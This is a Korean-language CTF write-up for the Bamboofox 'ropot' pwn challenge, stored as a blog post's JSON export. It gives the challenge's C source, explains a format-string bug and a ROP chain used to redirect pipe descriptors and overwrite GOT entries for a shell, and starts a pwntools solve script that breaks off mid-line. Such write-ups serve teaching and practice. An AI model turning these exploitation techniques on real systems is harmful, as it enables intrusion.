{"id":865,"date":"2021-02-11T04:23:18","date_gmt":"2021-02-10T19:23:18","guid":{"rendered":"http:\/\/ipwn.kr\/?p=865"},"modified":"2024-10-27T21:37:32","modified_gmt":"2024-10-27T12:37:32","slug":"bamboofox-ctf-ropot","status":"publish","type":"post","link":"http:\/\/ipwn.kr\/index.php\/2021\/02\/11\/bamboofox-ctf-ropot\/","title":{"rendered":"[Bamboofox CTF] ropot"},"content":{"rendered":"<h1>ropot<\/h1>\n<hr>\n<p>\uc774\uac74 \uc608\uc804\uc5d0 \uc5b4\ub5a4 CTF\uc5d0 \ub098\uc628 robot\uc774\ub780 \ubb38\uc81c\ub97c \uc870\uae08 \uc218\uc815\ud574\uc11c \ub0c8\ub2e4\ub294\ub370, \ucc28\uc774\uc810\uc740 \ubb38\uc81c \ucde8\uc57d\uc810 \uc124\uba85\ud558\uba74\uc11c \uc801\uaca0\ub2e4. \ubb38\uc81c \ucee8\uc149\uc740 \uc880 \uc720\ucf8c\ud588\uc74c \u314b\u314b \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\uac00 robot\uc774\uace0 \ubd80\ubaa8 \ud504\ub85c\uc138\uc2a4\ub294 robot\uc774 \ubcf4\ub0b8 \uac12\uc744 \ud1b5\ud574\uc11c move\uac19\uc740 \uc791\uc5c5\ub4e4 \ud558\uace0 \ubb50 \ud558\uace0 \ud558\ub358\ub370, \uc0ac\uc2e4 \uc758\ubbf8\uc788\ub294 \uac83\ub4e4\uc740 \uc544\ub2c8\ub354\ub77c.<br \/>\n\ub10c\uc13c\uc2a4\uc600\ub358 \uac74 \ubd84\uba85 \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\uac00 robot\uc778\ub370, robot\uc774 \uc0ac\uc6a9\uc790\uc758 input\uc744 \ubc1b\uc544\uc57c \ud55c\ub2e4\ub294 \uac83&#8230;<\/p>\n<h2>Mitigation<\/h2>\n<hr>\n<ul>\n<li><span style=\"color:orange\">Relro  : Partial Rerlo<\/span><\/li>\n<li><span style=\"color:red\">Stack : No canary found<\/span><\/li>\n<li><span style=\"color:green\">NX  : NX enable<\/span><\/li>\n<li><span style=\"color:green\">PIE : PIE enable<\/span><\/li>\n<\/ul>\n<h2>Analyzing<\/h2>\n<hr>\n<h3>Intro<\/h3>\n<p>\uc18c\uc2a4\ucf54\ub4dc\ub97c \uc81c\uacf5\ud574\uc900\ub2e4.<\/p>\n<pre><code class=\"language-C \">\/*gcc -z lazy -z noexecstack -fstack-protector robot.c -o robot*\/\n\n#define _GNU_SOURCE\n\n#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\n#include &lt;string.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;time.h&gt;\n#include &lt;fcntl.h&gt;\n#include &lt;signal.h&gt;\n#include &lt;sys\/mman.h&gt;\n#include &lt;sys\/types.h&gt;\n#include &lt;sys\/wait.h&gt;\n#include \"SECCOMP.h\"\n\/\/#include&lt;seccomp.h&gt;\n\nstruct sock_filter seccompfilter[] = {\n    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, ArchField),\n    BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, AUDIT_ARCH_X86_64, 1, 0),\n    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),\n    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, SyscallNum),\n    Allow(read),\n    Allow(write),\n    Allow(rt_sigreturn),\n    Allow(exit),\n    Allow(exit_group),\n    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL),\n};\n\nstruct sock_fprog filterprog = {\n    .len = sizeof(seccompfilter) \/ sizeof(struct sock_filter),\n    .filter = seccompfilter};\n\nvoid apply_seccomp()\n{\n    if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0))\n    {\n        perror(\"Seccomp Error\");\n        exit(1);\n    }\n    if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &amp;filterprog) == -1)\n    {\n        perror(\"Seccomp Error\");\n        exit(1);\n    }\n    return;\n}\n\nvoid initproc()\n{\n    setvbuf(stdin, NULL, _IONBF, 0);\n    setvbuf(stdout, NULL, _IONBF, 0);\n    setvbuf(stderr, NULL, _IONBF, 0);\n    return;\n}\n\nint move(unsigned int *pos, unsigned int x, unsigned int y)\n{\n    int newx = pos[0] + x;\n    int newy = pos[1] + y;\n    if (newx &lt; 0 || newx &gt;= 100 || newy &lt; 0 || newy &gt;= 100)\n        return -1;\n    else\n    {\n        pos[0] = newx;\n        pos[1] = newy;\n        return 1;\n    }\n}\n\n_Noreturn main()\n{\n    initproc();\n    int pipefd[4];\n    if (pipe2(pipefd, O_CLOEXEC | O_DIRECT) == -1 || pipe2(&amp;(pipefd[2]), O_CLOEXEC | O_DIRECT) == -1)\n    {\n        puts(\"Cannot establish connection to robot\");\n        exit(1);\n    }\n    int pid = fork();\n    if (pid &lt; 0)\n    {\n        puts(\"Robot bootup failed\");\n        exit(1);\n    }\n    if (pid != 0)\n    {\n        close(pipefd[0]);\n        close(pipefd[3]);\n        char *buf = mmap(NULL, 0x100, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n        int randfd = open(\"\/dev\/urandom\", O_RDONLY);\n        if (buf == (void *)-1 || randfd == -1)\n        {\n            puts(\"Monitor crashed\");\n            exit(1);\n        }\n        int seed;\n        read(randfd, &amp;seed, 4);\n        srand(seed);\n        close(randfd);\n        unsigned int robot[2] = {((unsigned int)rand()) % 20, ((unsigned int)rand()) % 20};\n        unsigned int outlaw[2] = {80U + (unsigned int)rand() % 20, 80U + ((unsigned int)rand()) % 20};\n        for (int i = 0; i &lt; 1000; i++)\n        {\n            read(pipefd[2], buf, 0x1000);\n            siginfo_t status = {0, 0, 0, 0, 0};\n            int waitres = waitid(P_PID, pid, &amp;status, WNOHANG | WEXITED);\n            if (waitres == -1)\n            {\n                kill(pid, SIGKILL);\n                puts(\"Monitor malfunctioning\");\n                exit(1);\n            }\n            else if (status.si_pid == pid)\n            {\n                if (status.si_code == CLD_EXITED &amp;&amp; status.si_status == 0)\n                    puts(\"AI halted\");\n                else\n                    puts(\"AI crashed\");\n                exit(0);\n            }\n            if (buf[0] == 'S')\n            {\n                buf[0] = robot[0] + 1;\n                buf[1] = robot[1] + 1;\n                buf[2] = outlaw[0] + 1;\n                buf[3] = outlaw[1] + 1;\n                buf[4] = '\\0';\n            }\n            else if (buf[0] == 'M')\n            {\n                int moveres = 0;\n                if (buf[1] == 'A')\n                    moveres = move(robot, -1, 0);\n                else if (buf[1] == 'D')\n                    moveres = move(robot, 1, 0);\n                else if (buf[1] == 'W')\n                    moveres = move(robot, 0, 1);\n                else if (buf[1] == 'S')\n                    moveres = move(robot, 0, -1);\n                if (moveres == -1)\n                    strcpy(buf, \"Failed\");\n                else if (moveres == 1)\n                    strcpy(buf, \"Success\");\n            }\n            else if (buf[0] == 'G')\n            {\n                puts(\"Mission failed :(\");\n                puts(\"Only quitters giveup\");\n                kill(pid, SIGKILL);\n                exit(0);\n            }\n            else\n            {\n                buf[0] = '\\0';\n            }\n            if (robot[0] == outlaw[0] &amp;&amp; robot[1] == outlaw[1])\n            {\n                puts(\"Mission cleared!\");\n                puts(\"Here is a token to show our gratitude : NOTFLAG{Super shellcoder}\");\n                exit(0);\n            }\n            move(outlaw, (((unsigned int)rand()) % 2) - 1, (((unsigned int)rand()) % 2) - 1);\n            dprintf(pipefd[1], buf);\n        }\n        puts(\"Mission failed :(\");\n        puts(\"Robot ran out of fuel\");\n        kill(pid, SIGKILL);\n    }\n    else\n    {\n        close(pipefd[1]);\n        close(pipefd[2]);\n        void (*ropchain)() = mmap((void *)((((unsigned long long)(main)&gt;&gt;12)+0x10)&lt;&lt;12), 0x100, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);\n        printf(\"Gift1: %p\\n\", ropchain);\n        printf(\"Gift2: %p\\n\", main);\n        \/\/printf(\"Gift3: %p\\n\", printf);\n        if (ropchain == (void *)-1)\n        {\n            puts(\"Robot initialisation failed\");\n            exit(1);\n        }\n        printf(\"Give me chain : \");\n        fgets((char *)ropchain, 0x8e0, stdin);\n        close(STDIN_FILENO);\n        close(STDOUT_FILENO);\n        close(STDERR_FILENO);\n        apply_seccomp();\n        asm(\"mov %0, %%rsp\\n\"\n            \"xor %%rdx, %%rdx\\n\"\n            \"xor %%rax, %%rax\\n\"\n            \"xor %%rbx, %%rbx\\n\"\n            \"xor %%rcx, %%rcx\\n\"\n            \"xor %%rsi, %%rsi\\n\"\n            \"xor %%rdi, %%rdi\\n\"\n            \"xor %%rbp, %%rbp\\n\"\n            \"xor %%r8, %%r8\\n\"\n            \"xor %%r9, %%r9\\n\"\n            \"xor %%r10, %%r10\\n\"\n            \"xor %%r11, %%r11\\n\"\n            \"xor %%r12, %%r12\\n\"\n            \"xor %%r13, %%r13\\n\"\n            \"xor %%r14, %%r14\\n\"\n            \"xor %%r15, %%r15\\n\"\n            \"ret\\n\"\n            \"pop %%rax\\n\"\n            \"ret\\n\"\n            \"pop %%rcx\\n\"\n            \"ret\\n\"\n            \"pop %%rdx\\n\"\n            \"ret\\n\" ::\"r\"(*ropchain));\n    }\n    exit(0);\n}\n<\/code><\/pre>\n<h3>Parent Process<\/h3>\n<p>\uc5ec\uae30\uc11c \uc911\uc694\ud55c main\uc758 \ucd08\ubc18\ubd80\ub97c \ubcf4\uac8c \ub418\uba74 pipe\ub97c \uc5f4\uace0 fork\ub85c \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\ub97c \ud558\ub098 \uc0dd\uc131\ud55c\ub2e4. \uadf8 \ub2e4\uc74c \ubd80\ubaa8\ud504\ub85c\uc138\uc2a4\ub77c\uba74 \ud544\uc694\uc5c6\ub294 pipe fd\ub97c \ub2eb\uace0 \ubc84\ud37c \uacf5\uac04 0x1000 byte\ub9cc\ud07c \ud560\ub2f9\ud55c \ub2e4\uc74c\uc5d0 pipe\ub85c \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\uac00 \ub118\uaca8\uc8fc\ub294 \uac12\uc744 read\ub85c \ubc1b\uc544\uc628\ub2e4. \uadf8\ub9ac\uace0 \uc790\uc2dd \ud504\ub85c\uc138\uc2a4 \uc0c1\ud0dc\ub97c \uacc4\uc18d \uccb4\ud06c\ud558\ub2e4\uac00 \uc81c\ub300\ub85c \ub41c \uc0c1\ud0dc\uac00 \uc544\ub2c8\uba74 \ubd80\ubaa8\ub3c4 \uc8fd\uc778\ub2e4.<br \/>\n\uadf8 \uc774\ud6c4 \ubc1b\uc544\uc628 \uac12\uc744 \ud1a0\ub300\ub85c \uac12\uc744 \uccb4\ud06c\ud574\uc11c \uc774\uac83\uc800\uac83 \uc791\uc5c5\uc744 \ud558\ub294\ub370, \uc774 \ub54c <code>buf[0]<\/code>\uc758 \ubd80\ubd84\uc758 \uacbd\uc6b0\uc5d0\ub294 \ubaa8\ub450 \uc81c\ub300\ub85c \uccb4\ud06c\ub97c \ud574\uc11c \uac80\uc99d\uc744 \ud558\uace0 \uc798\ubabb\ub41c \uac12\uc774 \ub118\uaca8\uc84c\uc744 \uacbd\uc6b0 <code>buf[0]<\/code>\uc5d0 null byte\ub97c \ub118\uaca8\uc8fc\uc5b4 <code>untrusted input<\/code>\uc774 <code>dprintf<\/code>\ub85c \ub118\uaca8\uc9c0\uc9c0 \uc54a\ub3c4\ub85d \ubc29\uc9c0\ud55c\ub2e4.<br \/>\n\uadfc\ub370 \uc5ec\uae30\uc11c \uc798 \ubd10\uc57c \ud558\ub294 \uac8c \ubd80\ubd84\uc774 \ubc14\ub85c <code>buf[0]<\/code>\uc774 <code>M<\/code>\uc77c \ub54c\uc774\ub2e4. \uc774 \ub54c\ub294 <code>buf[1]<\/code>\uc5d0 \ub300\ud574\uc11c \ucda9\ubd84\ud55c \uac80\uc99d\uc744 \uac70\uce58\uc9c0 \uc54a\ub294\ub2e4. \ub530\ub77c\uc11c <code>A, W, S, D<\/code>\uac00 \uc544\ub2cc \ub2e4\ub978 \uac12\uc774 \uc654\uc744 \ub54c \uc81c\ub300\ub85c \ub41c \uc608\uc678\ub97c \ucc98\ub9ac\ud558\uc9c0 \uc54a\ub294\ub2e4.<br \/>\n\ub610\ud55c \ub9e8 \ubd80\ubaa8 \ud504\ub85c\uc138\uc2a4\uc758 \ub9e8 \ub9c8\uc9c0\ub9c9 \uc791\uc5c5\uc744 \ubcf4\uba74 <code>dprintf<\/code> \ud568\uc218\ub97c \ud1b5\ud574\uc11c \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\uc5d0 buf\uc758 \uac12\uc744 \ub118\uaca8\uc900\ub2e4\ub294 \uac83\uc744 \uc54c \uc218 \uc788\ub294\ub370, \uc774 \ub54c <code>Format String Bug<\/code>\uac00 \ubc1c\uc0dd\ud55c\ub2e4\ub294 \uac78 \uc54c\uc544\ucc4c \uc218 \uc788\ub2e4. \ub54c\ubb38\uc5d0 buf\uac12\uc744 <code>M%p%p<\/code>\ud615\uc2dd\uc73c\ub85c \ub118\uaca8\uc8fc\uc5b4 <code>fsb<\/code>\ub97c \uc720\ubc1c\ud560 \uc218 \uc788\ub2e4.<\/p>\n<h3>Child Process<\/h3>\n<p>\uc774\uc81c \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\uac00 \uc77c\ud558\ub294 \uacf3\uc744 \ubcf4\uba74, \uc5ec\uae30\ub3c4 \uc4f8\ubaa8\uc5c6\ub294 pipe fd \ub2eb\uc544\uc900 \ub2e4\uc74c\uc5d0 \ubcf4\uba74 \ub9e8 \ucc98\uc74c\ubd80\ud130 pie\ub97c leak\ud574\uc900\ub2e4. rop chain\uc744 \ud558\ub294 buffer \uc8fc\uc18c\ub3c4 leak\ud574\uc8fc\ub294\ub370, \uc0ac\uc2e4 \uc800\uac74 1\/2 \ud655\ub960\ub85c main \uc8fc\uc18c + 0x10000 \uc774\uac70\ub098, main \uc8fc\uc18c + 0x11000\uc774\ub77c\uc11c \uc65c \uc92c\ub294\uc9c4 \ubaa8\ub974\uaca0\uc74c.<br \/>\n\uadf8 \uc774\ud6c4\uc5d0\ub294 <code>fgets<\/code>\ub85c buffer\uc5d0 \ucb49 \uc785\ub825\uc744 \ubc1b\uace0 stdin, stderr, stdout\uc744 \ub2e4 \ub2eb\uc740 \ub2e4\uc74c\uc5d0 <code>apply_seccomp<\/code>\ud568\uc218\ub85c syscall\uc744 \uc81c\ud55c\ud558\uace0 rop chain \ucabd\uc73c\ub85c rsp\ub97c \uc62e\uaca8\uc900\ub2e4.<br \/>\n\uadfc\ub370 \uc5ec\uae30\uc11c <code>pop rax; ret<\/code>, <code>pop rcx; ret<\/code>, <code>pop rdx; ret<\/code>\ub4f1\ub4f1\uc758 rop \uac00\uc82f\uc744 \ub2e4 \ubfcc\ub824\uc8fc\ub294\ub370 \uc774\uac70 \ub355\ubd84\uc5d0 \uc0dd\uac01\ubcf4\ub2e4 \uc27d\uac8c exploit\uc774 \ub41c\ub2e4.<br \/>\nrobot\ubb38\uc81c\uc5d0\uc11c\ub294 ropot\ubb38\uc81c\uc640 \ub2e4\ub974\uac8c \uc774 \ubd80\ubd84\uc5d0\uc11c rsp\ub97c buffer\ucabd\uc73c\ub85c \uc62e\uae30\ub294 \uac8c \uc544\ub2c8\ub77c rip\ub85c \uc62e\uae34\ub2e4. \uadf8\ub798\uc11c \uc775\uc2a4\uc790\uccb4\ub294 \ud6e8\uc52c \uc27d\uc9c0\ub9cc \uc5b4\uc148\ube14\ub9ac\ub85c \ud568\uc218\ub97c \uad6c\ud604\ud574\uc57c\ud574\uc11c \uadc0\ucc2e\ub354\ub77c&#8230;<\/p>\n<h3>Keyword<\/h3>\n<p>\uc774\uc81c \uc5ec\uae30\uae4c\uc9c0 \uc654\uc744 \ub54c \uc8fc\ubaa9\ud574\uc57c\ud558\ub294 \uba87 \uac00\uc9c0 \ud0a4\uc6cc\ub4dc\uac00 \uc788\ub294\ub370, \uc77c\ub2e8 \uae30\ubcf8\uc801\uc73c\ub85c fsb\ub97c \ud1b5\ud574 exploit\uc744 \ud574\uc57c\ud55c\ub2e4\ub294 \uac83\uacfc <code>dprintf<\/code>\ub97c \ud1b5\ud55c \uac12\uc744 \uadf8\ub0e5 \ucd9c\ub825\ud558\ub294 \uac8c \uc544\ub2c8\ub77c \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\ub85c \ub118\uaca8\uc900\ub2e4\ub294 \uac83\uc774\ub2e4. \ub610 \ubd80\ubaa8\ud504\ub85c\uc138\uc2a4\uc640 \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\uac00 \ub098\ub220\uc838\uc788\ub2e4\ub294 \uc810 \ub54c\ubb38\uc5d0 \ub514\ubc84\uae45\uc774 \uadc0\ucc2e\ub2e4\ub294 \uac83\ub3c4&#8230; \u314e\u314e (tmux\ub97c \ud1b5\ud574 pwntools \ub0b4\ubd80\uc758 gdb \uae30\ub2a5\uc744 \uc0ac\uc6a9\ud558\ub824 \ud588\ub294\ub370, \uc790\uafb8 \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\uc5d0 \ub514\ubc84\uac70\uac00 \uc548 \ubd99\uace0 \ubd80\ubaa8\uc5d0\ub9cc \ubd99\uc73c\ub824 \ud558\uac70\ub098 \uc544\uc608 \ub514\ubc84\uac70\uac00 \uc548 \ubd99\ub294\ub2e4.)<\/p>\n<h2>Exploit<\/h2>\n<hr>\n<p>\uc544\ubb34\ub798\ub3c4 \uc258\ucf54\ub4dc \uc775\uc2a4\uc5d0\uc11c rop \uc775\uc2a4\ub85c \ubc14\ub00c\uc5b4\uc11c \uadf8\ub7f0\uc9c0 \uc880 \uae4c\ub2e4\ub85c\uc6b4 \uba74\uc774 \uc788\ub294\ub370, \uc77c\ub2e8 \ub0b4\uac00 \uc6d0\ud558\ub294 instruction\uc744 \ub9c8\uc74c\ub300\ub85c \uc4f0\uae30 \ud798\ub4e4\ub2e4\ub294 \uac8c \uac00\uc7a5 \uae4c\ub2e4\ub85c\uc6b4 \uc810\uc77c \uac83\uc774\ub2e4.<br \/>\n\ub610, \ucd9c\ub825\uc774 \ubc14\ub85c \ud130\ubbf8\ub110\ub85c \ub098\uc624\ub294 \uac8c \uc544\ub2c8\ub77c \uc790\uc2dd\uacfc \ubd80\ubaa8\uac00 \uc11c\ub85c \ud1b5\uc2e0\ud55c\ub2e4\ub294 \uc810 \ub54c\ubb38\uc5d0 leak\uc758 \ubc29\ubc95\uc744 \ub5a0\uc62c\ub9ac\ub294\ub370\uc5d0 \ud070 \ubb38\uc81c\uac00 \uc0dd\uae34\ub2e4.<br \/>\n\ucd94\uac00\uc801\uc73c\ub85c rop\uac00 \uac00\ub2a5\ud55c \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\uc5d0\ub294 stdin, stdout, stderr\uc774 \ub2e4 \ub2eb\ud600\uc788\uace0 syscall\ub3c4 \ubaa8\ub450 \uc81c\ud55c\ub418\uc5b4 \uc788\uae30 \ub54c\ubb38\uc5d0 \ubd80\ubaa8\ud504\ub85c\uc138\uc2a4\uc5d0\uc11c \uc258\uc744 \ud68d\ub4dd\ud574\uc57c\ud55c\ub2e4\ub294 \uc810\ub3c4 \uc0dd\uac01\ud574\uc57c\ud55c\ub2e4.<\/p>\n<h3>How to communicate?<\/h3>\n<p>\uc77c\ub2e8 \uc5ec\uae30\uc11c \uac00\uc7a5 \uc911\uc694\ud55c \uac8c \ucd9c\ub825 \ud568\uc218\uac00 \uc5c6\ub2e4. \uadf8\ub798\uc11c \ucd9c\ub825\ud568\uc218\ub97c \ub9cc\ub4e4\uc5b4\uc918\uc57c \ud558\ub294\ub370 \uc774 \ubd80\ubd84\uc740 <code>close<\/code>\ud568\uc218\uc758 <code>got<\/code>\ubd80\ubd84\uc744 rop\ub97c \ud1b5\ud574\uc11c <code>close-&gt;syscall<\/code> \uc218\uc815\ud574\uc900\ub2e4. \uc774\uac8c \uac00\ub2a5\ud55c \uc774\uc720\ub294 \uc6b0\ub9ac\uc758 \uc0dd\uac01\ubcf4\ub2e4 \uc77c\ubc18\uc801\uc778 ELF binary\uc5d0\ub294 \uc774\uc05c \uac00\uc82f\uc774 \ub9ce\uae30 \ub54c\ubb38\uc774\ub2e4.<br \/>\n\uadf8\ub7fc \uc774\uc81c <code>syscall<\/code>\ub3c4 \uc0dd\uacbc\uace0 <code>pop rax; ret<\/code> \uac00\uc82f\ub3c4 \uc788\uace0 \uc778\uc790 \uc124\uc815\ub3c4 \uc6d0\ud558\ub294\ub300\ub85c \uac00\ub2a5\ud558\ub2c8\uae4c <code>read, write<\/code>\ub97c \ub9c8\uc74c\ub300\ub85c \ud560 \uc218 \uc788\ub2e4. \uadfc\ub370 \uc5ec\uae30\uc11c \ub05d\uc774 \uc544\ub2c8\ub77c fsb\ub97c \ud1b5\ud574\uc11c \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\uc5d0 leak\uc744 \ud574\uc640\ub3c4 exploit script\uc5d0\uc11c \uc77d\uc5b4\uc62c \uc218 \uc5c6\ub2e4\ub294 \uc810\uc744 \ud574\uacb0\ud574\uc57c\ub9cc \ud55c\ub2e4.<\/p>\n<h3>How to leak?<\/h3>\n<p>\uadf8\ub7ec\ub824\uba74 fsb\uc758 \uacb0\uacfc \uac12\uc744 \ud130\ubbf8\ub110 \ud654\uba74\uc5d0 \ucd9c\ub825\uc744 \ud574\uc57c\ub9cc \ud558\ub294\ub370 \uc774 \ubc29\ubc95\uc740 <code>double stage fsb<\/code>\ub97c \ud1b5\ud574\uc11c \ud574\uacb0\ud574\uc57c\ud55c\ub2e4. \uc790\uc2dd \ud504\ub85c\uc138\uc2a4 \ub0b4\ub85c leak\ud55c stack \uac12\uc744 \ud1b5\ud574 \ubd80\ubaa8 \ud504\ub85c\uc138\uc2a4\uc5d0\ub294 <code>stack \ub0b4\uc5d0 \uc874\uc7ac\ud558\ub294 stack\uc744 \uac00\ub9ac\ud0a4\ub294 pointer<\/code>\uac00 \uc788\ub2e4. \uadf8 \ud3ec\uc778\ud130\uc758 1 byte\ub9cc \uc798 \ubc14\uafd4\uc918\uc11c pipe fd\ubd80\ubd84\uc744 \uac00\ub9ac\ud0a4\uac8c \uc218\uc815\ud558\uace0 \ub2e4\uc2dc \ud55c \ubc88 fsb\ub97c \uc9c4\ud589\ud574 pipe fd\ub97c stdin, stdout\uc73c\ub85c \uc218\uc815\ud574\uc57c \ud55c\ub2e4.<\/p>\n<h3>How to make FSB payload?<\/h3>\n<p>\uadfc\ub370 \uc5ec\uae30\uc11c \ub610 \ubb38\uc81c\uac00 \uc0dd\uae34\ub2e4. \uc790\uc2dd\ud504\ub85c\uc138\uc2a4\ub85c \ub9ad\ud55c stack\uc758 \uac12\uc740 \uc22b\uc790\uac12\uc774 \uc544\ub2cc string\uac12\uc774\ub2e4. (<code>%s<\/code>\ub97c \ud1b5\ud574\uc11c raw\ud55c data\ub85c\ub3c4 leak\uc744 \ud560 \uc218\ub294 \uc788\uc9c0\ub9cc \uadf8\ub807\uac8c \ub420 \uacbd\uc6b0 \uadf8 \uac12\uc740 \ud658\uacbd\ubcc0\uc218\ub97c \uac00\ub9ac\ud0a4\ub294 \uc8fc\uc18c \uac12\uc774\ub77c\uc11c pipe fd\uc640\uc758 offset\uc774 \uace0\uc815\uc801\uc774\uc9c0 \uc54a\ub2e4.) \ub54c\ubb38\uc5d0 \uadf8 \uac12\uc744 10\uc9c4\uc218 string\uc73c\ub85c \ub2e4\uc2dc \ubcc0\uacbd\ud574\uc11c format string bug\ub97c \uc720\ubc1c\ud574\uc57c\ub9cc\ud55c\ub2e4. \uadfc\ub370 \uc774\uac78 \ub3c4\ub300\uccb4 \uc5b4\ub5bb\uac8c \ud574\uc57c\ud558\ub294\uac00&#8230; \uc774\uac8c \ubb38\uc81c\uc600\ub2e4.<br \/>\n\ubc29\ubc95\uc740 rop\ub97c \ud1b5\ud574\uc11c close\ud568\uc218\uc758 got\uc5d0\uc11c <code>libc base<\/code>\uc8fc\uc18c\ub97c rop chain\uc758 \uc601\uc5ed \uc77c\ubd80\uc5d0 \uc800\uc7a5\ud558\uace0 \uadf8 \uac12\uc744 \uc774\uc6a9\ud574\uc11c <code>libc function<\/code>\uc744 call\ud558\ub294 \uac83\uc774\ub2e4. \uc774 \ubc29\ubc95\uc744 \ud1b5\ud574 <code>strtoul<\/code> \uadf8\ub9ac\uace0 <code>sprintf<\/code>\ub97c \ud638\ucd9c\ud558\uc5ec <code>hex string-&gt;raw data-&gt;int string<\/code>\uc758 \uc21c\uc11c\ub97c \uac70\uccd0\uc11c fsb payload\ub97c \ucd5c\uc885\uc801\uc73c\ub85c \uc791\uc131\ud560 \uc218 \uc788\uace0 \uadf8 \uc774\ud6c4\uc5d0\ub294 \ub354 \uc774\uc0c1 \ubd80\ubaa8 \ud504\ub85c\uc138\uc2a4\uc640 \uc790\uc2dd \ud504\ub85c\uc138\uc2a4 \uac04\uc758 \ud1b5\uc2e0\uc774 \ud544\uc694 \uc5c6\uc5b4\uc9c4\ub2e4.<\/p>\n<h3>How to hlt Child Proces?<\/h3>\n<p>\uadf8\ub7f0\ub370 \uc544\uae4c \ub9d0\ud588\ub4ef\uc774 fd\ub97c \ubcc0\uacbd\ud558\uace0 \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\ub97c \uadf8\ub0e5 \uaebc\ubc84\ub9ac\uba74 \ubd80\ubaa8 \ud504\ub85c\uc138\uc2a4\ub294 \uc798\ubabb\ub41c \uac78 \ud30c\uc545\ud558\uace0 \ubd80\ubaa8 \ud504\ub85c\uc138\uc2a4\ub3c4 \uc911\uac04\uc5d0 \uadf8\ub0e5 \uaebc\uc838\ubc84\ub9b0\ub2e4. \uadfc\ub370 <code>hlt<\/code>\ub3c4 \ubabb \uac78\uace0 \uc885\ub8cc\ub3c4 \ubabb\ud558\uba74 \uc5b4\ub5bb\uac8c \ud574\uc57c\ud560\uae4c? \ubc29\ubc95\uc774\uc57c \uc5ec\ub7ec\uac00\uc9c0\uac00 \uc788\ub2e4.<br \/>\n<code>read(pipe_fd, buf, len)<\/code>\uacfc \uac19\uc774 read\ub97c \ud638\ucd9c\ud574\uc11c \uc785\ub825\uc744 \ubc1b\ub3c4\ub85d \uacc4\uc18d \uae30\ub2e4\ub9ac\uac8c \ub9cc\ub4e4\uc5b4\ub3c4 \ub418\uace0 <code>pop rsp; ...; ret<\/code>\ub4f1\uc758 rsp\ub97c \uc870\uc808\ud560 \uc218 \uc788\ub294 \uac00\uc82f\uc744 \ud1b5\ud574\uc11c \uac19\uc740 instruction\uc744 \ubb34\ud55c\ub300\ub85c \ubc18\ubcf5\ud558\uac8c \ub9cc\ub4e4\uc5b4\ub3c4 \ub41c\ub2e4.<br \/>\n\ub098\uc758 \uacbd\uc6b0\uc5d0\ub294 \uc804\uc790\uc758 \ubc29\ubc95\uc744 \uc0ac\uc6a9\ud558\uba74 fsb payload\uac00 dprintf\uc5d0 \ub118\uaca8\uc9c4 \uc774\ud6c4\uc5d0 \uc790\uc2dd \ud504\ub85c\uc138\uc2a4\ub85c \ub118\uaca8\uc9c0\ub294 \uac12\ub4e4 \ub54c\ubb38\uc5d0 read\ud560 \ub54c \uac12\uc744 \uacc4\uc18d \ubc1b\uc544\uc624\ub824\ud574\uc11c hlt\uac00 \uac78\ub9ac\uc9c0 \uc54a\uc558\ub2e4. \ub54c\ubb38\uc5d0 \ud6c4\uc790\uc758 \ubc29\ubc95\uc744 \uc0ac\uc6a9\ud588\ub2e4.<\/p>\n<p>\uadf8\ub7fc \uc774\uc81c \ud130\ubbf8\ub110\ub85c dprintf\uc758 \uac12\uc774 \uc644\ubcbd\ud558\uac8c \ub118\uaca8\uc640\uc9c0\uace0 read\ub3c4 Child Process\uc5d0\uc11c \ubc1b\uc544\uc624\ub294 \uac8c \uc544\ub2cc stdin\uc5d0\uc11c \uac12\uc744 \ubc1b\uc544\uc624\uac8c \ub41c\ub2e4. \uc774 \uc774\ud6c4\uc5d0\ub294 \uadf8\ub0e5 \ub2e8\uc21c fsb\ub97c \ud1b5\ud574\uc11c <code>libc leak<\/code>\uc744 \ud55c \ub4a4 exit\uc758 got\ub97c oneshot gadget\uc73c\ub85c \ub36e\uc5b4\uc8fc\uace0 \uc258\uc744 \ud68d\ub4dd\ud588\ub2e4.<\/p>\n<p>\ucde8\uc57d\uc810\ub3c4 \uac04\ub2e8\ud558\uace0 \uadf8\ub9ac \uc5b4\ub824\uc6b4 \ubb38\uc81c\ub294 \uc544\ub2cc\ub370 \uc911\uac04\uc911\uac04 \ud574\uc57c\ud560 \uac8c \ub9ce\uc544\uc11c \uae4c\ub530\ub85c\uc6e0\ub358 \ubb38\uc81c\uc600\ub2e4. \ub610 ROP \uac00\uc82f\uc744 \uc798 \ubf51\uc544\uc640\uc57c\ud574\uc11c \uc774 \uac83\ub3c4 \uaf64 \uc5b4\ub824\uc6e0\ub2e4. \ubb38\uc81c \ub77c\uc5c5 \ub05d~ \ucd5c\uc885 \uc194\ube0c\ub294 \ubc11\uc5d0&#8230;<\/p>\n<h4>solve.py<\/h4>\n<pre><code class=\"language-python \">from pwn import *\n\n#context.log_level = 'debug'\n#context.terminal = ['tmux', 'splitw', '-h']\ne = ELF('.\/ropot')\nlibc = e.libc\n\nwritefd = 6\nreadfd = 3\n\ndata = b\"\"\ndata += b\"M%36<span class=\"katex math inline\">p\".ljust(0x8, b'\\x00')\ndata += b\"M%%%dc%%36<\/span>hn\".ljust(0x10, b'\\x00')\ndata += b'\\x00'*0x10\ndata += b\"M%62<span class=\"katex math inline\">ln\".ljust(0x10, b'\\x00')\n\ndef main(p):\n    p.recvuntil(b': ')\n    buf = 